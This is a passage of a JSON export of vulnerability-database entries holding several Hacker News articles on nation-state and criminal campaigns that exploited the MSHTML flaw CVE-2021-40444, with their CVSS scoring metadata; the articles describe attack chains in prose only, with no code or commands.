the covert operation are said to have commenced as early as June 18, 2021, with two victims reported on September 21 and 29, followed by 17 more in a short span of three days between October 6 and 8.\n\n\"The attack is particularly unique due to the prominence of its victims, the use of a recent [security flaw], and the use of an attack technique that the team had not seen before,\" Christiaan Beek, lead scientist at Trellix, said. \"The objective was clearly espionage.\"\n\nTrellix attributed the sophisticated attacks with moderate confidence to the Russia-based [APT28](<https://malpedia.caad.fkie.fraunhofer.de/actor/sofacy>) group, also tracked under the monikers Sofacy, Strontium, Fancy Bear, and Sednit, based on similarities in the source code as well as in the attack indicators and geopolitical objectives.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEiHATh-_6CXq1DE4gF63tRFptoK4b3k33uBkDfc-JwaJRbLhn0cxU2JHUh5A-0U_AsQ3XgqvcFjPKtR6AVo-_daYwK8-jLWPGzamt2d7MjD1zstHO8IFPqdv3NTZU3GvsI_Wdk9Q7rG6zd84PEcawqbp7bJMrog9xoaUDkiJadygQnO1Wh-qdlH79xN>)\n\n\"We are supremely confident that we are dealing with a very skilled actor based on how infrastructure, malware coding and operation were set up,\" Trellix security researcher Marc Elias said.\n\nThe infection chain begins with the execution of a Microsoft Excel file containing an exploit for the MSHTML remote code execution vulnerability ([CVE-2021-40444](<https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html>)), which is used to run a malicious binary that acts as the downloader for a third-stage malware dubbed Graphite.\n\nThe DLL executable uses OneDrive as the C2 server via the Microsoft Graph API to retrieve additional stager malware that ultimately downloads and executes [Empire](<https://attack.mitre.org/software/S0363/>), an open-source PowerShell-based post-exploitation framework widely abused by threat actors for follow-on activities.\n\n\"Using the Microsoft OneDrive as a command-and-control Server mechanism was a surprise, a novel way of quickly interacting with the infected machines by dragging the encrypted commands into the victim's folders,\" Beek explained. \"Next OneDrive would sync with the victim\u2019s machines and encrypted commands being executed, whereafter the requested info was encrypted and sent back to the OneDrive of the attacker.\"\n\nIf anything, the development marks the continued exploitation of the MSTHML rendering engine flaw, with [Microsoft](<https://thehackernews.com/2021/09/windows-mshtml-0-day-exploited-to.html>) and [SafeBreach Labs](<https://thehackernews.com/2021/11/hackers-using-microsoft-mshtml-flaw-to.html>) disclosing multiple campaigns that have weaponized the vulnerability to plant malware and distribute custom Cobalt Strike Beacon loaders.\n\n\"The main takeaway is to highlight the level of access threat campaigns, and in particular how capable threat actors are able to permeate the most senior levels of government,\" Raj Samani, chief scientist and fellow at Trellix told The Hacker News. \"It is of paramount importance that security practitioners tasked with protecting such high value systems consider additional security measures to prevent, detect and remediate against such hostile actions.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-01-25T14:04:00", "type": "thn", "title": "Hackers Exploited MSHTML Flaw to Spy on Government and Defense Targets", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-01-29T08:06:51", "id": "THN:BD014635C5F702379060A20290985162", "href": "https://thehackernews.com/2022/01/hackers-exploited-mshtml-flaw-to-spy-on.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-21T15:55:37", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEhTDhGSCLFNoe2MDkuwd-dbu3bKqPHtCuuSNeeosLJmQdiXnE3Hq_M2wsCJ9OqEk2ig0Jn0ITJ4RW9LkqUzEeWCBF6R1H6SS_wGXq_pLI3Y38VenthyRa2AlQQkCDlvzat6a-UDOxxvG3p-0r9ppLP1GKrMXdqPUW28Q6TZDz8v57TTuwc6KS6gi8pJ>)\n\nGoogle's Threat Analysis Group (TAG) took the wraps off a new [initial access broker](<https://thehackernews.com/2021/11/blackberry-uncover-initial-access.html>) that it said is closely affiliated to a Russian cyber crime gang notorious for its Conti and Diavol ransomware operations.\n\nDubbed Exotic Lily, the financially motivated threat actor has been observed exploiting a now-patched critical flaw in the Microsoft Windows MSHTML platform ([CVE-2021-40444](<https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html>)) as part of widespread phishing campaigns that involved sending no fewer than 5,000 business proposal-themed emails a day to 650 targeted organizations globally.\n\n\"Initial access brokers are the opportunistic locksmiths of the security world, and it's a full-time job,\" TAG researchers Vlad Stolyarov and Benoit Sevens [said](<https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/>). \"These groups specialize in breaching a target in order to open the doors \u2014 or the Windows \u2014 to the malicious actor with the highest bid.\"\n\nExotic Lily, first spotted in September 2021, is said to have been involved in data exfiltration and deployment of the human-operated Conti and [Diavol](<https://thehackernews.com/2021/08/researchers-find-new-evidence-linking.html>) ransomware strains, both of which share overlaps with Wizard Spider, the Russian cyber criminal syndicate that's also known for operating [TrickBot](<https://thehackernews.com/2022/03/trickbot-malware-abusing-hacked-iot.html>), [BazarBackdoor](<https://thehackernews.com/2021/07/phony-call-centers-tricking-users-into.html>), and [Anchor](<https://thehackernews.com/2022/03/trickbot-malware-gang-upgrades-its.html>).\n\n\"Yes, this is a possibility, especially considering this is more sophisticated and targeted than a traditional spam campaign, but we don't know for sure as of now,\" Google TAG told The Hacker News when asked whether Exotic Lily could be another extension of the Wizard Spider group.\n\n\"In the [Conti leaks](<https://thehackernews.com/2022/03/conti-ransomware-gangs-internal-chats.html>), Conti members mention 'spammers' as someone who they work with (e.g., provide custom-built 'crypted' malware samples, etc.) through outsourcing. However, most of the 'spammers' don't seem to be present (or actively communicate) in the chat, hence leading to a conclusion they're operating as a separate entity.\"\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEiRLlObJVyztso8c0_EbePqlTPrjHuRu1-NWCjxiV47unTWyXRykIMkEo4lnhKEbWUZSP4zUPmn3jo-N6O4gz5CgskYHypFzEWSI4djVkBE6Gle_kwlb7Mp7tQN5cmk2BPWhrXILnSvxl38u2qgqfAntvF85WiXMyt0WIn_ikXRHLwk6apNoOd64qob>)\n\nThe threat actor's social engineering lures, sent from spoofed email accounts, have specifically singled out IT, cybersecurity, and healthcare sectors, although post November 2021, the attacks have grown to be more indiscriminate, targeting a wide variety of organizations and industries.\n\nBesides using fictitious companies and identities as a means to build trust with the targeted entities, Exotic Lily has leveraged legitimate file-sharing services like WeTransfer, TransferNow and OneDrive to deliver [BazarBackdoor payloads](<https://abnormalsecurity.com/blog/bazarloader-contact-form>) in a bid to evade detection mechanisms.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEjD7gTpku0C6R-pc9VwoTyiLgYiON0B6dyOqyFgyXxeXOTvF5CYHGGGVF3SC9He4ccMof89UgDp1tK7Xuin_iXJUH3yaRAFHQbBlmFKaz-VMRRWlsJZkQMC2Nsov-UnJQdUe37HX901rV208dbe-xqakcZ50w5XWf02Ldv4BMHbCtI-It_dm8dsiLFc>)\n\nThe rogue personas often posed as employees of firms such as Amazon, complete with fraudulent social media profiles on LinkedIn that featured fake AI-generated profile pictures. The group is also said to have impersonated real company employees by lifting their personal data from social media and business databases like RocketReach and CrunchBase.\n\n\"At the final stage, the attacker would upload the payload to a public file-sharing service (TransferNow, TransferXL, WeTransfer or OneDrive) and then use a built-in email notification feature to share the file with the target, allowing the final email to originate from the email address of a legitimate file-sharing service and not the attacker's email, which presents additional detection challenges,\" the researchers said.\n\nAlso delivered using the MHTML exploit is a custom loader called Bumblebee that's orchestrated to gather and exfiltrate system information to a remote server, which responds back commands to execute shellcode and run next-stage executables, including Cobalt Strike.\n\nAn analysis of the Exotic Lily's communication activity indicates that the threat actors have a \"typical 9-to-5 job\" on weekdays and may be possibly working from a Central or an Eastern Europe time zone.\n\n\"Exotic Lily seems to operate as a separate entity, focusing on acquiring initial access through email campaigns, with follow-up activities that include deployment of Conti and Diavol ransomware, which are performed by a different set of actors,\" the researchers concluded.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-03-18T07:31:00", "type": "thn", "title": "Google Uncovers 'Initial Access Broker' Working with Conti Ransomware Gang", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-07-21T13:32:08", "id": "THN:959FD46A8D71CA9DDAEDD6516113CE3E", "href": "https://thehackernews.com/2022/03/google-uncovers-initial-access-broker.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-10-02T06:04:33", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgRdLCnYaPXc_hVvRWhZ1nKYDtBRo6rwk1xGSO3wDrqcJ04igkpjKQyuyHKgmgeHL6GS7XLJjB6WCffBWb-ntXiCGFrcggxS3t1sQxo2LiuX7WI9F-gwW3tPRARSzEWceyzsLgu1VSyZndaF36ZhDlzpBRvkHLp7Ao_zaUYJmthkY4IZN4znwcyRdpY/s728-e100/hacking.jpg>)\n\nThe Russian state-sponsored threat actor known as [APT28](<https://thehackernews.com/2022/09/researchers-identify-3-hacktivist.html>) has been found leveraging a new code execution method that makes use of mouse movement in decoy Microsoft PowerPoint documents to deploy malware.\n\nThe technique \"is designed to be triggered when the user starts the presentation mode and moves the mouse,\" cybersecurity firm Cluster25 [said](<https://blog.cluster25.duskrise.com/2022/09/23/in-the-footsteps-of-the-fancy-bear-powerpoint-graphite/>) in a technical report. \"The code execution runs a PowerShell script that downloads and executes a dropper from OneDrive.\"\n\nThe dropper, a seemingly harmless image file, functions as a pathway for a follow-on payload, a variant of a malware known as Graphite, which uses the Microsoft Graph API and OneDrive for command-and-control (C2) communications to retrieve additional payloads.\n\nThe attack employs a lure document that makes use of a template potentially linked to the Organisation for Economic Co-operation and Development ([OECD](<https://en.wikipedia.org/wiki/OECD>)), a Paris-based intergovernmental entity.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjM4urmpBb2OaNLBBurEzXMWD5Gc0bF0d-1A8k55IscX0Hlkq-v1VQ39Xj9y7iwnPFlRBxvY1w6ZlUWb5dYTHpIwA3gVd7mcXXY64dImoNQO7bXe84Wez6JCWTlrdS77BnSIF6DllbmNoGykj67hPrGivBZDqdvzOgXckRo6adoi5bgIMpmnmWEI4_Y/s728-e100/ppt.jpg>)\n\nCluster25 noted the attacks may be ongoing, considering that the URLs used in the attacks appeared active in August and September, although the hackers had previously laid the groundwork for the campaign between January and February.\n\nPotential targets of the operation likely include entities and individuals operating in the defense and government sectors of Europe and Eastern Europe, the company added, citing an analysis of geopolitical objectives and the gathered artifacts.\n\nThis is not the first time the adversarial collective has deployed Graphite. In January 2022, Trellix [disclosed](<https://thehackernews.com/2022/01/hackers-exploited-mshtml-flaw-to-spy-on.html>) a similar attack chain that exploited the MSHTML remote code execution vulnerability ([CVE-2021-40444](<https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html>)) to drop the backdoor.\n\nThe development is a sign that APT28 (aka Fancy Bear) continues to hone its technical tradecraft and evolve its methods for maximum impact as exploitation routes once deemed viable (e.g., macros) cease to be profitable.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-09-28T10:09:00", "type": "thn", "title": "Hackers Using PowerPoint Mouseover Trick to Infect Systems with Malware", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-10-02T05:18:39", "id": "THN:B399D1943153CEEF405B85D4310C2142", "href": "https://thehackernews.com/2022/09/hackers-using-powerpoint-mouseover.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-05T03:38:09", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjI291J10LW67nc2C0UITCwpnhtduhMMY8ndL7-O83eu0zDh2WUIKe9oQiLkdnGI3y197Sqw_347ZW1fDrAE20TW48AvjuRlbQs4jajAbPaCjJbtzYHF8r5WHSfDMS_3mNTO-vTSDdTv2WKNT9BNnzfC2vPEosQs6BTjTvxD329uaye72syjHXguduS/s728-e100/flag.jpg>)\n\nA Belarusian threat actor known as Ghostwriter (aka UNC1151) has been spotted leveraging the recently disclosed browser-in-the-browser (BitB) technique as part of their credential phishing campaigns exploiting the ongoing Russo-Ukrainian conflict.\n\nThe method, which [masquerades](<https://thehackernews.com/2022/03/new-browser-in-browser-bitb-attack.html>) as a legitimate domain by simulating a browser window within the browser, makes it possible to mount convincing social engineering campaigns.\n\n\"Ghostwriter actors have quickly adopted this new technique, combining it with a previously observed technique, hosting credential phishing landing pages on compromised sites,\" Google's Threat Analysis Group (TAG) [said](<https://blog.google/threat-analysis-group/tracking-cyber-activity-eastern-europe/>) in a new report, using it to siphon credentials entered by unsuspected victims to a remote server.\n\nAmong other groups [using the war as a lure](<https://thehackernews.com/2022/03/google-russian-hackers-target.html>) in phishing and malware campaigns to deceive targets into opening fraudulent emails or links include [Mustang Panda](<https://thehackernews.com/2022/03/chinese-mustang-panda-hackers-spotted.html>) and [Scarab](<https://thehackernews.com/2022/03/another-chinese-hacking-group-spotted.html>) as well as nation-state actors from Iran, North Korea, and Russia.\n\nAlso included in the list is Curious Gorge, a hacking crew that TAG has attributed to China's People's Liberation Army Strategic Support Force (PLASSF), which has orchestrated attacks against government and military organizations in Ukraine, Russia, Kazakhstan, and Mongolia.\n\nA third set of attacks observed over the past two-week period originated from a Russia-based hacking group known as COLDRIVER (aka Callisto). TAG said that the actor staged credential phishing campaigns targeting multiple U.S.-based NGOs and think tanks, the military of a Balkans country, and an unnamed Ukrainian defense contractor.\n\n\"However, for the first time, TAG has observed COLDRIVER campaigns targeting the military of multiple Eastern European countries, as well as a NATO Centre of Excellence,\" TAG researcher Billy Leonard said. \"These campaigns were sent using newly created Gmail accounts to non-Google accounts, so the success rate of these campaigns is unknown.\"\n\n### Viasat breaks down February 24 Attack\n\nThe disclosure comes as U.S.-based telecommunications firm Viasat spilled details of a \"multifaceted and deliberate\" cyber attack against its KA-SAT network on February 24, 2022, coinciding with Russia's military invasion of Ukraine.\n\nThe attack on the satellite broadband service disconnected tens of thousands of modems from the network, impacting several customers in Ukraine and across Europe and affecting the [operations of 5,800 wind turbines](<https://www.reuters.com/business/energy/satellite-outage-knocks-out-control-enercon-wind-turbines-2022-02-28/>) belonging to the German company Enercon in Central Europe.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjBPeFDF2b99SCr6BVB_zZ-LCkJ_Z4VIMJJ2_hv0dUXzJcbyh_0y2xuG6Ih-wOEDAAPScYYXNZFPIRH4HldJI-VuJV3m-fvIGibDE8t_PLlac8yuJ61A4gBdKQp6TWVpKqVMIRJm7Yxt_9F3F0hbUWlh8rMT48xechHXRrjEbMDZ2TLWlcobJPrpxEq/s728-e100/phishing.jpg>)\n\n\"We believe the purpose of the attack was to interrupt service,\" the company [explained](<https://www.viasat.com/about/newsroom/blog/ka-sat-network-cyber-attack-overview/>). \"There is no evidence that any end-user data was accessed or compromised, nor customer personal equipment (PCs, mobile devices, etc.) was improperly accessed, nor is there any evidence that the KA-SAT satellite itself or its supporting satellite ground infrastructure itself were directly involved, impaired or compromised.\"\n\nViasat linked the attack to a \"ground-based network intrusion\" that exploited a misconfiguration in a VPN appliance to gain remote access to the KA-SAT network and execute destructive commands on the modems that \"overwrote key data in flash memory,\" rendering them temporarily unable to access the network.\n\n### Russian dissidents targeted with Cobalt Strike\n\nThe relentless attacks are the latest in a long list of malicious cyber activities that have emerged in the wake of the continuing conflict in Eastern Europe, with government and commercial networks suffering from a string of disruptive [data wiper infections](<https://thehackernews.com/2022/03/caddywiper-yet-another-data-wiping.html>) in conjunction with a series of ongoing distributed denial-of-service (DDoS) attacks.\n\nThis has also taken the form of compromising legitimate WordPress sites to inject rogue JavaScript code with the goal of carrying out DDoS attacks against Ukrainian domains, according to [researchers](<https://twitter.com/malwrhunterteam/status/1508517334239043584>) from the MalwareHunterTeam.\n\nBut it's not just Ukraine. Malwarebytes Labs this week laid out specifics of a new spear-phishing campaign targeting Russian citizens and government entities in an attempt to deploy pernicious payloads on compromised systems.\n\n\"The spear phishing emails are warning people that use websites, social networks, instant messengers and VPN services that have been banned by the Russian Government and that criminal charges will be laid,\" Hossein Jazi [said](<https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/>). \"Victims are lured to open a malicious attachment or link to find out more, only to be infected with Cobalt Strike.\"\n\nThe malware-laced RTF documents contain an exploit for the widely abused MSHTML remote code execution vulnerability ([CVE-2021-40444](<https://thehackernews.com/2022/01/hackers-exploited-mshtml-flaw-to-spy-on.html>)), leading to the execution of a JavaScript code that spawns a PowerShell command to download and execute a Cobalt Strike beacon retrieved from a remote server.\n\nAnother cluster of activity potentially relates to a Russian threat actor tracked as Carbon Spider (aka [FIN7](<https://thehackernews.com/2021/10/hackers-set-up-fake-company-to-get-it.html>)), which has employed a similar maldocs-oriented attack vector that's engineered to drop a PowerShell-based backdoor capable of fetching and running a next-stage executable.\n\nMalwarebytes also said it has detected a \"significant uptick in malware families being used with the intent of stealing information or otherwise gaining access in Ukraine,\" including [Hacktool.LOIC](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=HackTool%3AWin32%2FOylecann.A>), [Ainslot Worm](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Worm:Win32/Ainslot.A!reg>), FFDroider, [Formbook](<https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook>), [Remcos](<https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos>), and [Quasar RAT](<https://lab52.io/blog/another-cyber-espionage-campaign-in-the-russia-ukrainian-ongoing-cyber-attacks/>).\n\n\"While these families are all relatively common in the cybersecurity world, the fact that we witnessed spikes almost exactly when Russian troops crossed the Ukrainian border makes these developments interesting and unusual,\" Adam Kujawa, director of Malwarebytes Labs, said in a statement shared with The Hacker News.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-03-31T13:02:00", "type": "thn", "title": "Hackers Increasingly Using 'Browser-in-the-Browser' Technique in Ukraine Related Attacks", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-05-05T02:23:33", "id": "THN:4E80D9371FAC9B29044F9D8F732A3AD5", "href": "https://thehackernews.com/2022/03/hackers-increasingly-using-browser-in.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:20", "description": "[](<https://thehackernews.com/images/-KnvkhCvOrtg/YTgvMst2aSI/AAAAAAAADvs/ibzrIC7hu6wR3f2vrtI3U2rW7SVg6UbKQCLcBGAsYHQ/s0/microsoft-office-hack.jpg>)\n\nMicrosoft on Tuesday warned of an actively exploited zero-day flaw impacting Internet Explorer that's being used to hijack vulnerable Windows systems by leveraging weaponized Office documents.\n\nTracked as CVE-2021-40444 (CVSS score: 8.8), the remote code execution flaw is rooted in MSHTML (aka Trident), a proprietary browser engine for the now-discontinued Internet Explorer and which is used in Office to render web content inside Word, Excel, and PowerPoint documents.\n\n\"Microsoft is investigating reports of a remote code execution vulnerability in MSHTML that affects Microsoft Windows. Microsoft is aware of targeted attacks that attempt to exploit this vulnerability by using specially-crafted Microsoft Office documents,\" the company [said](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>).\n\n\"An attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. The attacker would then have to convince the user to open the malicious document. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights,\" it added.\n\nThe Windows maker credited researchers from EXPMON and Mandiant for reporting the flaw, although the company did not disclose additional specifics about the nature of the attacks, the identity of the adversaries exploiting this zero-day, or their targets in light of real-world attacks.\n\nEXPMON, in a [tweet](<https://twitter.com/EXPMON_/status/1435309115883020296>), noted it found the vulnerability after detecting a \"highly sophisticated zero-day attack\" aimed at Microsoft Office users, adding it passed on its findings to Microsoft on Sunday. \"The exploit uses logical flaws so the exploitation is perfectly reliable (& dangerous),\" EXPMON researchers said.\n\nHowever, it's worth pointing out that the current attack can be suppressed if Microsoft Office is run with default configurations, wherein documents downloaded from the web are opened in [Protected View](<https://support.microsoft.com/en-us/topic/what-is-protected-view-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653>) or [Application Guard for Office](<https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/install-app-guard?view=o365-worldwide>), which is designed to prevent untrusted files from accessing trusted resources in the compromised system.\n\nMicrosoft, upon completion of the investigation, is expected to either release a security update as part of its Patch Tuesday monthly release cycle or issue an out-of-band patch \"depending on customer needs.\" In the interim, the Windows maker is urging users and organizations to disable all ActiveX controls in Internet Explorer to mitigate any potential attack.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-08T03:37:00", "type": "thn", "title": "New 0-Day Attack Targeting Windows Users With Microsoft Office Documents", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-08T04:55:07", "id": "THN:D4E86BD8938D3B2E15104CA4922A51F8", "href": "https://thehackernews.com/2021/09/new-0-day-attack-targeting-windows.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:38:04", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEjYUPLUjcZm_IOi_2W8OCO67vRS3dKYHbn9uyV27yUDW18dhUv8jXFX9JDvQYw6FCzwj__3eQkTEwAOG-s6nigko_jBV77WQl46SxYEsGMQxc5g2hIFfR11hGm-vi1oobscaw6jTNgq2ed6ZN5OE9wz9JHWzNk0PH1xq9WzsWMs18Gk_P_yhPWT0YQm>)\n\nA new Iranian threat actor has been discovered exploiting a now-addressed critical flaw in the Microsoft Windows MSHTML platform to target Farsi-speaking victims with a previously undocumented PowerShell-based information stealer designed to harvest extensive details from infected machines.\n\n\"[T]he stealer is a PowerShell script, short with powerful collection capabilities \u2014 in only ~150 lines, it provides the adversary a lot of critical information including screen captures, Telegram files, document collection, and extensive data about the victim's environment,\" SafeBreach Labs researcher Tomer Bar [said](<https://www.safebreach.com/blog/2021/new-powershortshell-stealer-exploits-recent-microsoft-mshtml-vulnerability-to-spy-on-farsi-speakers/>) in a report published Wednesday.\n\nNearly half of the targets are from the U.S., with the cybersecurity firm noting that the attacks are likely aimed at \"Iranians who live abroad and might be seen as a threat to Iran's Islamic regime.\"\n\nThe phishing campaign, which began in July 2021, involved the exploitation of CVE-2021-40444, a remote code execution flaw that could be exploited using specially crafted Microsoft Office documents. The vulnerability was [patched](<https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html>) by Microsoft in September 2021, weeks after [reports](<https://thehackernews.com/2021/09/new-0-day-attack-targeting-windows.html>) of active exploitation emerged in the wild.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEgHnByMecpjc8CwGXlYLKRdnKgH6K5l2WpL2UN8Tsn4OgwoQxswAm4WoSD9d7rUtLNPFN59Z11rRxwTC3ZRa4tu-3rpZvcB0cO59nDNhYGmpe6L38Tx8Y-merXNp54673AbqS20eHA5cJ4CBUQ0KjBxCH5it3HfxkZ0_bBtO1JWp3_1j6rxKqM_SMJv>)\n\n\"An attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. The attacker would then have to convince the user to open the malicious document. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights,\" the Windows maker had noted.\n\nThe attack sequence described by SafeBreach begins with the targets receiving a spear-phishing email that comes with a Word document as an attachment. Opening the file triggers the exploit for CVE-2021-40444, resulting in the execution of a PowerShell script dubbed \"PowerShortShell\" that's capable of hoovering sensitive information and transmitting them to a command-and-control (C2) server.\n\nWhile infections involving the deployment of the info-stealer were observed on September 15, a day after Microsoft issued patches for the flaw, the aforementioned C2 server was also employed to harvest victims' Gmail and Instagram credentials as part of two phishing campaigns staged by the same adversary in July 2021. \n\nThe development is the latest in a string of attacks that have capitalized on the MSTHML rendering engine flaw, with Microsoft previously 